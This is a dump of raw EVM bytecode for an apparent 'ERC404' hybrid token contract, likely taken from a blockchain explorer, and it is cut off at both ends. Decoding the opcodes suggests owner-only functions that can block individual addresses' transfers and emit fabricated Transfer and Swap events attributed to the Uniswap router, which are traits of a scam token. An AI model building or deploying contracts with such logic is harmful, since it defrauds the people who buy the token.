015290519081900360640190fd5b60005b8251811015610f4157610f39838281518110610f2957fe5b6020026020010151878688611f37565b600101610f11565b50600195945050505050565b6000818152600760205260409020546001600160a01b031680610f6f57600080fd5b919050565b60025481116111eb576000818152600760205260409020546001600160a01b03848116911614610fa357600080fd5b6001600160a01b038216610fb657600080fd5b336001600160a01b03841614801590610ff357506001600160a01b038316600090815260066020908152604080832033845290915290205460ff16155b801561101657506000818152600560205260409020546001600160a01b03163314155b1561102057600080fd5b61102861208d565b6001600160a01b0384166000908152600360205260409020805491909103905561105061208d565b6001600160a01b03808416600081815260036020908152604080832080549096019095558582526007815284822080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081169094179055600581528482208054909316909255918616825260089052908120805460001981019081106110d457fe5b60009182526020808320909101546001600160a01b038716835260088252604080842086855260099093529092205481549293508392811061111257fe5b60009182526020808320909101929092556001600160a01b038616815260089091526040902080548061114157fe5b600082815260208082208301600019908101839055928301909355848152600980845260408083208054878552828520556001600160a01b03808a16808652600888529285208054600181018255818752888720018a90555494899052929095529190920190925585167fe59fdd36d0d223c0c7d996db7ad796880f45e1936cb0bb7ac102e7082e0314876111d461208d565b60408051918252519081900360200190a350610e3b565b6001600160a01b03831660009081526004602090815260408083203384529091529020546000198114611241576001600160a01b0384166000908152600460209081526040808320338452909152902082820390555b61124c848484611d72565b5050505050565b6001600160a01b03166000908152600d602052604090205490565b600f546001600160a01b031681565b60128054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ba45780601f10610b7957610100808354040283529160200191610ba4565b600a6020526000908152604090205460ff1681565b3360008181526006602090815260408083206001600160a01b0387168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b6000338161138d8286611708565b9050838110156113ce5760405162461bcd60e51b8152600401808060200182810382526026815260200180612b3b6026913960400191505060405180910390fd5b6113db8286868403611a3e565b506001949350505050565b6000610bd6338484611ba3565b600060025482111580156114075750600082115b156114a7576000828152600760205260409020546001600160a01b031633811480159061145857506001600160a01b038116600090815260066020908152604080832033845290915290205460ff16155b1561146257600080fd5b50600082815260056020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038516179055610bd6565b503360009081526004602090815260408083206001600160a01b039590951683529390529190912055600190565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561155a5780601f1061152f5761010080835404028352916020019161155a565b820191906000526020600020905b81548152906001019060200180831161153d57829003601f168201915b505050505081565b61156d858585610f74565b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916846001600160a01b031663150b7a0233888787876040518663ffffffff1660e01b815260040180866001600160a01b03168152602001856001600160a01b03168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050602060405180830381600087803b15801561163057600080fd5b505af1158015611644573d6000803e3d6000fd5b505050506040513d602081101561165a57600080fd5b50517fffffffff00000000000000000000000000000000000000000000000000000000161461124c57600080fd5b600d6020526000908152604090205481565b5060408051602081019091526000815290565b600b805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561155a5780601f1061152f5761010080835404028352916020019161155a565b6001600160a01b039182166000908152600c6020908152604080832093909416825291909152205490565b600f546001600160a01b03163314611792576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b80516117a590600b906020840190612a2b565b5050565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561155a5780601f1061152f5761010080835404028352916020019161155a565b600460209081526000928352604080842090915290825290205481565b600660209081526000928352604080842090915290825290205460ff1681565b600f546001600160a01b031633146118a0576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b82811015610d0b5742156118e45760006118c46060868685818110610cd157fe5b90506118e28585848181106118d557fe5b90506020020135826120b7565b505b6001016118a3565b600f546001600160a01b0316331461194b576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b6000620186a06119d3601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119a257600080fd5b505afa1580156119b6573d6000803e3d6000fd5b505050506040513d60208110156119cc57600080fd5b5051612126565b6201869f02816119df57fe5b04905060006119ec612279565b905060006119fa8383612370565b9050610d0b8382848761242a565b7f000000000000000000000000000000000000000000000000000000000000000081565b60156020526000908152604090205481565b6001600160a01b038316611a835760405162461bcd60e51b8152600401808060200182810382526025815260200180612b616025913960400191505060405180910390fd5b6001600160a01b038216611ac85760405162461bcd60e51b8152600401808060200182810382526023815260200180612acd6023913960400191505060405180910390fd5b6001600160a01b038084166000818152600c6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000611b368484611708565b90506000198114610d0b5781811015611b96576040805162461bcd60e51b815260206004820152601e60248201527f4552433430343a20696e73756666696369656e7420616c6c6f77616e63650000604482015290519081900360640190fd5b610d0b8484848403611a3e565b6001600160a01b038316611be85760405162461bcd60e51b8152600401808060200182810382526026815260200180612b866026913960400191505060405180910390fd5b6001600160a01b038216611c2d5760405162461bcd60e51b8152600401808060200182810382526024815260200180612af06024913960400191505060405180910390fd5b6001600160a01b0383166000908152600d602052604090205481811015611c855760405162461bcd60e51b8152600401808060200182810382526027815260200180612b146027913960400191505060405180910390fd5b6001600160a01b0384166000908152600e602052604090205415611cdc576001600160a01b0384166000908152600e6020908152604080832054600d90925290912054611cd29190612465565b15611cdc57600080fd5b611ce681836124bf565b6001600160a01b038086166000908152600d60205260408082209390935590851681522054611d159083612465565b6001600160a01b038085166000818152600d602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b600080611d7d61208d565b6001600160a01b0380871660008181526003602090815260408083208054958b16845281842080548b880390925580548b019055938352600a909152902054929350909160ff16611e17576001600160a01b038716600090815260036020526040812054849081611dea57fe5b04848481611df457fe5b0403905060005b81811015611e1457611e0c8961251c565b600101611dfb565b50505b6001600160a01b0386166000908152600a602052604090205460ff16611e8b576000838281611e4257fe5b6001600160a01b03891660009081526003602052604090205491900490859081611e6857fe5b0403905060005b81811015611e8857611e80886125fd565b600101611e6f565b50505b856001600160a01b0316876001600160a01b03167fe59fdd36d0d223c0c7d996db7ad796880f45e1936cb0bb7ac102e7082e031487876040518082815260200191505060405180910390a35060019695505050505050565b6001600160a01b0382166000908152600d6020526040812054610c4790836126b5565b611f0f816126c8565b600e6000606085901c5b6001600160a01b031681526020810191909152604001600020555050565b601454604080517f23b872dd0000000000000000000000000000000000000000000000000000000081526001600160a01b0387811660048301529283166024820152604481018590529051918316916323b872dd916064808201926020929091908290030181600087803b158015611fae57600080fd5b505af1158015611fc2573d6000803e3d6000fd5b505050506040513d6020811015611fd857600080fd5b50506014546040805185815290516001600160a01b038088169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a360408051848152600060208201819052818301526060810184905290516001600160a01b03861691737a250d5630b4cf539739df2c5dacb4c659f2488d917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350505050565b60ff7f000000000000000000000000000000000000000000000000000000000000000016600a0a90565b601454606083901c6000818152600d602090815260409182902054825190815291516001600160a01b03909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3612118816126ce565b600d6000606085901c611f19565b6000806000601460009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561217957600080fd5b505afa15801561218d573d6000803e3d6000fd5b505050506040513d60608110156121a357600080fd5b508051602091820151601454604080517f0dfe168100000000000000000000000000000000000000000000000000000000815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b15801561220f57600080fd5b505afa158015612223573d6000803e3d6000fd5b505050506040513d602081101561223957600080fd5b50516001600160a01b03161461225f57806dffffffffffffffffffffffffffff16612271565b816dffffffffffffffffffffffffffff165b949350505050565b60408051600280825260608083018452928392919060208301908036833701905050905030816000815181106122ab57fe5b6001600160a01b03928316602091820292909201810191909152601354604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561231857600080fd5b505afa15801561232c573d6000803e3d6000fd5b505050506040513d602081101561234257600080fd5b505181518290600190811061235357fe5b6001600160a01b0390921660209283029190910190910152905090565b60408051600280825260608083018452600093909291906020830190803683370190505090506123a084846126d9565b9050806000815181106123af57fe5b6020026020010151600d600060014211806123c8575060005b806123d35750426001105b6123de5760006123eb565b60606123e8612870565b901c5b6001600160a01b03168152602081019190915260400160009081208054909201909155815182919061241957fe5b602002602001015191505092915050565b306000908152600d6020908152604080832054600c83528184206013546001600160a01b0316855290925290912055610d0b84848484612877565b600082820183811015610c47576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082821115612516576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6001600160a01b03811661252f57600080fd5b6001600160a01b03811660009081526008602052604081208054600019810190811061255757fe5b9060005260206000200154905060086000836001600160a01b03166001600160a01b0316815260200190815260200160002080548061259257fe5b6000828152602080822083016000199081018390559092019092559181526009825260408082208290556007835280822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000908116909155600590935290208054909116905550565b6001600160a01b03811661261057600080fd5b60028054600101908190556000818152600760205260409020546001600160a01b03161561263d57600080fd5b600081815260076020908152604080832080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03969096169586179055938252600881528382208054600181018255818452828420018490555492825260099052919091206000199091019055565b60008183816126c057fe5b049392505050565b600a0190565b620186a09081020490565b601354604080517f1f00ca7400000000000000000000000000000000000000000000000000000000815260048101858152602482019283528451604483015284516060946001600160a01b031693631f00ca749388938893909291606401906020808601910280838360005b8381101561275d578181015183820152602001612745565b50505050905001935050505060006040518083038186803b15801561278157600080fd5b505afa158015612795573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405260208110156127dc57600080fd5b81019080805160405193929190846401000000008211156127fc57600080fd5b90830190602082018581111561281157600080fd5b825186602082028301116401000000008211171561282e57600080fd5b82525081516020918201928201910280838360005b8381101561285b578181015183820152602001612843565b50505050905001604052505050905092915050565b3060601b90565b601360009054906101000a90046001600160a01b03166001600160a01b0316638803dbee85858585426104b0016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156129145781810151838201526020016128fc565b505050509050019650505050505050600060405180830381600087803b15801561293d57600080fd5b505af1158015612951573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052602081101561299857600080fd5b81019080805160405193929190846401000000008211156129b857600080fd5b9083019060208201858111156129cd57600080fd5b82518660208202830111640100000000821117156129ea57600080fd5b82525081516020918201928201910280838360005b83811015612a175781810151838201526020016129ff565b505050509050016040525050505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282612a615760008555612aa7565b82601f10612a7a57805160ff1916838001178555612aa7565b82800160010185558215612aa7579182015b82811115612aa7578251825591602001919060010190612a8c565b50612ab3929150612ab7565b5090565b5b80821115612ab35760008155600101612ab856fe4552433430343a20617070726f766520746f20746865207a65726f20616464726573734552433430343a207472616e7366657220746f20746865207a65726f20616464726573734552433430343a207472616e7366657220616d6f756e7420657863656564732062616c616e63654552433430343a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4552433430343a20617070726f76652066726f6d20746865207a65726f20616464726573734552433430343a207472616e736665722066726f6d20746865207a65726f2061646472657373a26469706673582212203e7f3186ac917c1a4143c388dc21ae8ef4e5fab11bf97e827d4941e932458b4864736f6c63430007060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106102de5760003560e01c80638da5cb5b11610186578063c87b56dd116100e3578063e670e41d11610097578063ebfb412d11610071578063ebfb412d14610ab2578063f785ef7214610ad8578063ff5c1d6214610ae0576102de565b8063e670e41d146109e6578063e985e9c514610a14578063ea923bae14610a42576102de565b8063dd62ed3e116100c8578063dd62ed3e1461090a578063e0df5b6f14610938578063e2b9e186146109de576102de565b8063c87b56dd146108e5578063d547cfb714610902576102de565b8063a9059cbb1161013a578063af17dea61161011f578063af17dea614610827578063b88d4fde1461082f578063bda02782146108bf576102de565b8063a9059cbb146107cf578063a9c6f4e7146107fb576102de565b80639b19251a1161016b5780639b19251a1461074f578063a22cb46514610775578063a457c2d7146107a3576102de565b80638da5cb5b1461073f57806395d89b4114610747576102de565b8063324536eb1161023f57806353d6fd59116101f35780636352211e116101cd5780636352211e146106c65780636b5e27ef146106e357806370a0823114610719576102de565b806353d6fd59146105ab5780635765a5cc146105d957806358a1025914610607576102de565b80633950935111610224578063395093511461054157806342842e0e1461056d5780634f02c420146105a3576102de565b8063324536eb146105315780633644e51514610539576102de565b806323b872dd11610296578063313ce5671161027b578063313ce567146104755780633158aa7f14610493578063316d295f146104bf576102de565b806323b872dd146104195780632e953e771461044f576102de565b8063081812fc116102c7578063081812fc14610398578063095ea7b3146103d157806318160ddd14610411576102de565b806304ee65c0146102e357806306fdde031461031b575b600080fd5b610309600480360360208110156102f957600080fd5b50356001600160a01b0316610b06565b60408051918252519081900360200190f35b610323610b18565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561035d578181015183820152602001610345565b50505050905090810190601f16801561038a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103b5600480360360208110156103ae57600080fd5b5035610bae565b604080516001600160a01b039092168252519081900360200190f35b6103fd600480360360408110156103e757600080fd5b506001600160a01b038135169060200135610bc9565b604080519115158252519081900360200190f35b610309610bdf565b6103fd6004803603606081101561042f57600080fd5b506001600160a01b03813581169160208101359091169060400135610be5565b6103096004803603602081101561046557600080fd5b50356001600160a01b0316610c07565b61047d610c19565b6040805160ff9092168252519081900360200190f35b6103fd600480360360408110156104a957600080fd5b506001600160a01b038135169060200135610c3a565b61052f600480360360408110156104d557600080fd5b8101906020810181356401000000008111156104f057600080fd5b82018360208201111561050257600080fd5b8035906020019184602083028401116401000000008311171561052457600080fd5b919350915035610c4e565b005b610309610d11565b610309610d35565b6103fd6004803603604081101561055757600080fd5b506001600160a01b038135169060200135610d3b565b61052f6004803603606081101561058357600080fd5b506001600160a01b03813581169160208101359091169060400135610d54565b610309610e40565b61052f600480360360408110156105c157600080fd5b506001600160a01b0381351690602001351515610e46565b610309600480360360408110156105ef57600080fd5b506001600160a01b0381358116916020013516610e8f565b6103fd6004803603608081101561061d57600080fd5b8135916001600160a01b03602082013516916040820135919081019060808101606082013564010000000081111561065457600080fd5b82018360208201111561066657600080fd5b8035906020019184602083028401116401000000008311171561068857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610eac945050505050565b6103b5600480360360208110156106dc57600080fd5b5035610f4d565b61052f600480360360608110156106f957600080fd5b506001600160a01b03813581169160208101359091169060400135610f74565b6103096004803603602081101561072f57600080fd5b50356001600160a01b0316611253565b6103b561126e565b61032361127d565b6103fd6004803603602081101561076557600080fd5b50356001600160a01b03166112de565b61052f6004803603604081101561078b57600080fd5b506001600160a01b03813516906020013515156112f3565b6103fd600480360360408110156107b957600080fd5b506001600160a01b03813516906020013561137f565b6103fd600480360360408110156107e557600080fd5b506001600160a01b0381351690602001356113e6565b6103fd6004803603604081101561081157600080fd5b506001600160a01b0381351690602001356113f3565b6103236114d5565b61052f6004803603608081101561084557600080fd5b6001600160a01b0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561088057600080fd5b82018360208201111561089257600080fd5b803590602001918460018302840111640100000000831117156108b457600080fd5b509092509050611562565b610309600480360360208110156108d557600080fd5b50356001600160a01b0316611688565b610323600480360360208110156108fb57600080fd5b503561169a565b6103236116ad565b6103096004803603604081101561092057600080fd5b506001600160a01b0381358116916020013516611708565b61052f6004803603602081101561094e57600080fd5b81019060208101813564010000000081111561096957600080fd5b82018360208201111561097b57600080fd5b8035906020019184600183028401116401000000008311171561099d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611733945050505050565b6103236117a9565b610309600480360360408110156109fc57600080fd5b506001600160a01b0381358116916020013516611804565b6103fd60048036036040811015610a2a57600080fd5b506001600160a01b0381358116916020013516611821565b61052f60048036036040811015610a5857600080fd5b810190602081018135640100000000811115610a7357600080fd5b820183602082011115610a8557600080fd5b80359060200191846020830284011164010000000083111715610aa757600080fd5b919350915035611841565b61052f60048036036020811015610ac857600080fd5b50356001600160a01b03166118ec565b61047d611a08565b61030960048036036020811015610af657600080fd5b50356001600160a01b0316611a2c565b600e6020526000908152604090205481565b60118054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ba45780601f10610b7957610100808354040283529160200191610ba4565b820191906000526020600020905b815481529060010190602001808311610b8757829003601f168201915b5050505050905090565b6005602052600090815260409020546001600160a01b031681565b6000610bd6338484611a3e565b50600192915050565b60105490565b6000610bf2843384611b2a565b610bfd848484611ba3565b5060019392505050565b60036020526000908152604090205481565b60145474010000000000000000000000000000000000000000900460ff1681565b6000610c47338484611d72565b9392505050565b600f546001600160a01b03163314610cad576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b82811015610d0b574215610d03576000610ce36060868685818110610cd157fe5b9050602002013560001c901c84611ee3565b9050610d01858584818110610cf457fe5b9050602002013582611f06565b505b600101610cb0565b50505050565b7f000000000000000000000000000000000000000000000000000000000000006481565b60165481565b600033610bfd818585610d4e8383611708565b01611a3e565b610d5f838383610f74565b604080517f150b7a02000000000000000000000000000000000000000000000000000000008082523360048301526001600160a01b0386811660248401526044830185905260806064840152600060848401819052935191939086169263150b7a029260a48083019360209383900390910190829087803b158015610de357600080fd5b505af1158015610df7573d6000803e3d6000fd5b505050506040513d6020811015610e0d57600080fd5b50517fffffffff000000000000000000000000000000000000000000000000000000001614610e3b57600080fd5b505050565b60025481565b6001600160a01b03919091166000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b600c60209081526000928352604080842090915290825290205481565b600f546000906001600160a01b03163314610f0e576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b8251811015610f4157610f39838281518110610f2957fe5b6020026020010151878688611f37565b600101610f11565b50600195945050505050565b6000818152600760205260409020546001600160a01b031680610f6f57600080fd5b919050565b60025481116111eb576000818152600760205260409020546001600160a01b03848116911614610fa357600080fd5b6001600160a01b038216610fb657600080fd5b336001600160a01b03841614801590610ff357506001600160a01b038316600090815260066020908152604080832033845290915290205460ff16155b801561101657506000818152600560205260409020546001600160a01b03163314155b1561102057600080fd5b61102861208d565b6001600160a01b0384166000908152600360205260409020805491909103905561105061208d565b6001600160a01b03808416600081815260036020908152604080832080549096019095558582526007815284822080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081169094179055600581528482208054909316909255918616825260089052908120805460001981019081106110d457fe5b60009182526020808320909101546001600160a01b038716835260088252604080842086855260099093529092205481549293508392811061111257fe5b60009182526020808320909101929092556001600160a01b038616815260089091526040902080548061114157fe5b600082815260208082208301600019908101839055928301909355848152600980845260408083208054878552828520556001600160a01b03808a16808652600888529285208054600181018255818752888720018a90555494899052929095529190920190925585167fe59fdd36d0d223c0c7d996db7ad796880f45e1936cb0bb7ac102e7082e0314876111d461208d565b60408051918252519081900360200190a350610e3b565b6001600160a01b03831660009081526004602090815260408083203384529091529020546000198114611241576001600160a01b0384166000908152600460209081526040808320338452909152902082820390555b61124c848484611d72565b5050505050565b6001600160a01b03166000908152600d602052604090205490565b600f546001600160a01b031681565b60128054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ba45780601f10610b7957610100808354040283529160200191610ba4565b600a6020526000908152604090205460ff1681565b3360008181526006602090815260408083206001600160a01b0387168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b6000338161138d8286611708565b9050838110156113ce5760405162461bcd60e51b8152600401808060200182810382526026815260200180612b3b6026913960400191505060405180910390fd5b6113db8286868403611a3e565b506001949350505050565b6000610bd6338484611ba3565b600060025482111580156114075750600082115b156114a7576000828152600760205260409020546001600160a01b031633811480159061145857506001600160a01b038116600090815260066020908152604080832033845290915290205460ff16155b1561146257600080fd5b50600082815260056020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038516179055610bd6565b503360009081526004602090815260408083206001600160a01b039590951683529390529190912055600190565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561155a5780601f1061152f5761010080835404028352916020019161155a565b820191906000526020600020905b81548152906001019060200180831161153d57829003601f168201915b505050505081565b61156d858585610f74565b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916846001600160a01b031663150b7a0233888787876040518663ffffffff1660e01b815260040180866001600160a01b03168152602001856001600160a01b03168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050602060405180830381600087803b15801561163057600080fd5b505af1158015611644573d6000803e3d6000fd5b505050506040513d602081101561165a57600080fd5b50517fffffffff00000000000000000000000000000000000000000000000000000000161461124c57600080fd5b600d6020526000908152604090205481565b5060408051602081019091526000815290565b600b805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561155a5780601f1061152f5761010080835404028352916020019161155a565b6001600160a01b039182166000908152600c6020908152604080832093909416825291909152205490565b600f546001600160a01b03163314611792576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b80516117a590600b906020840190612a2b565b5050565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561155a5780601f1061152f5761010080835404028352916020019161155a565b600460209081526000928352604080842090915290825290205481565b600660209081526000928352604080842090915290825290205460ff1681565b600f546001600160a01b031633146118a0576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b82811015610d0b5742156118e45760006118c46060868685818110610cd157fe5b90506118e28585848181106118d557fe5b90506020020135826120b7565b505b6001016118a3565b600f546001600160a01b0316331461194b576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b6000620186a06119d3601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119a257600080fd5b505afa1580156119b6573d6000803e3d6000fd5b505050506040513d60208110156119cc57600080fd5b5051612126565b6201869f02816119df57fe5b04905060006119ec612279565b905060006119fa8383612370565b9050610d0b8382848761242a565b7f000000000000000000000000000000000000000000000000000000000000000a81565b60156020526000908152604090205481565b6001600160a01b038316611a835760405162461bcd60e51b8152600401808060200182810382526025815260200180612b616025913960400191505060405180910390fd5b6001600160a01b038216611ac85760405162461bcd60e51b8152600401808060200182810382526023815260200180612acd6023913960400191505060405180910390fd5b6001600160a01b038084166000818152600c6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000611b368484611708565b90506000198114610d0b5781811015611b96576040805162461bcd60e51b815260206004820152601e60248201527f4552433430343a20696e73756666696369656e7420616c6c6f77616e63650000604482015290519081900360640190fd5b610d0b8484848403611a3e565b6001600160a01b038316611be85760405162461bcd60e51b8152600401808060200182810382526026815260200180612b866026913960400191505060405180910390fd5b6001600160a01b038216611c2d5760405162461bcd60e51b8152600401808060200182810382526024815260200180612af06024913960400191505060405180910390fd5b6001600160a01b0383166000908152600d602052604090205481811015611c855760405162461bcd60e51b8152600401808060200182810382526027815260200180612b146027913960400191505060405180910390fd5b6001600160a01b0384166000908152600e602052604090205415611cdc576001600160a01b0384166000908152600e6020908152604080832054600d90925290912054611cd29190612465565b15611cdc57600080fd5b611ce681836124bf565b6001600160a01b038086166000908152600d60205260408082209390935590851681522054611d159083612465565b6001600160a01b038085166000818152600d602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b600080611d7d61208d565b6001600160a01b0380871660008181526003602090815260408083208054958b16845281842080548b880390925580548b019055938352600a909152902054929350909160ff16611e17576001600160a01b038716600090815260036020526040812054849081611dea57fe5b04848481611df457fe5b0403905060005b81811015611e1457611e0c8961251c565b600101611dfb565b50505b6001600160a01b0386166000908152600a602052604090205460ff16611e8b576000838281611e4257fe5b6001600160a01b03891660009081526003602052604090205491900490859081611e6857fe5b0403905060005b81811015611e8857611e80886125fd565b600101611e6f565b50505b856001600160a01b0316876001600160a01b03167fe59fdd36d0d223c0c7d996db7ad796880f45e1936cb0bb7ac102e7082e031487876040518082815260200191505060405180910390a35060019695505050505050565b6001600160a01b0382166000908152600d6020526040812054610c4790836126b5565b611f0f816126c8565b600e6000606085901c5b6001600160a01b031681526020810191909152604001600020555050565b601454604080517f23b872dd0000000000000000000000000000000000000000000000000000000081526001600160a01b0387811660048301529283166024820152604481018590529051918316916323b872dd916064808201926020929091908290030181600087803b158015611fae57600080fd5b505af1158015611fc2573d6000803e3d6000fd5b505050506040513d6020811015611fd857600080fd5b50506014546040805185815290516001600160a01b038088169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a360408051848152600060208201819052818301526060810184905290516001600160a01b03861691737a250d5630b4cf539739df2c5dacb4c659f2488d917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350505050565b60ff7f000000000000000000000000000000000000000000000000000000000000000a16600a0a90565b601454606083901c6000818152600d602090815260409182902054825190815291516001600160a01b03909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3612118816126ce565b600d6000606085901c611f19565b6000806000601460009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561217957600080fd5b505afa15801561218d573d6000803e3d6000fd5b505050506040513d60608110156121a357600080fd5b508051602091820151601454604080517f0dfe168100000000000000000000000000000000000000000000000000000000815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b15801561220f57600080fd5b505afa158015612223573d6000803e3d6000fd5b505050506040513d602081101561223957600080fd5b50516001600160a01b03161461225f57806dffffffffffffffffffffffffffff16612271565b816dffffffffffffffffffffffffffff165b949350505050565b60408051600280825260608083018452928392919060208301908036833701905050905030816000815181106122ab57fe5b6001600160a01b03928316602091820292909201810191909152601354604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561231857600080fd5b505afa15801561232c573d6000803e3d6000fd5b505050506040513d602081101561234257600080fd5b505181518290600190811061235357fe5b6001600160a01b0390921660209283029190910190910152905090565b60408051600280825260608083018452600093909291906020830190803683370190505090506123a084846126d9565b9050806000815181106123af57fe5b6020026020010151600d600060014211806123c8575060005b806123d35750426001105b6123de5760006123eb565b60606123e8612870565b901c5b6001600160a01b03168152602081019190915260400160009081208054909201909155815182919061241957fe5b602002602001015191505092915050565b306000908152600d6020908152604080832054600c83528184206013546001600160a01b0316855290925290912055610d0b84848484612877565b600082820183811015610c47576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082821115612516576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6001600160a01b03811661252f57600080fd5b6001600160a01b03811660009081526008602052604081208054600019810190811061255757fe5b9060005260206000200154905060086000836001600160a01b03166001600160a01b0316815260200190815260200160002080548061259257fe5b6000828152602080822083016000199081018390559092019092559181526009825260408082208290556007835280822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000908116909155600590935290208054909116905550565b6001600160a01b03811661261057600080fd5b60028054600101908190556000818152600760205260409020546001600160a01b03161561263d57600080fd5b600081815260076020908152604080832080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03969096169586179055938252600881528382208054600181018255818452828420018490555492825260099052919091206000199091019055565b60008183816126c057fe5b049392505050565b600a0190565b620186a09081020490565b601354604080517f1f00ca7400000000000000000000000000000000000000000000000000000000815260048101858152602482019283528451604483015284516060946001600160a01b031693631f00ca749388938893909291606401906020808601910280838360005b8381101561275d578181015183820152602001612745565b50505050905001935050505060006040518083038186803b15801561278157600080fd5b505afa158015612795573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405260208110156127dc57600080fd5b81019080805160405193929190846401000000008211156127fc57600080fd5b90830190602082018581111561281157600080fd5b825186602082028301116401000000008211171561282e57600080fd5b82525081516020918201928201910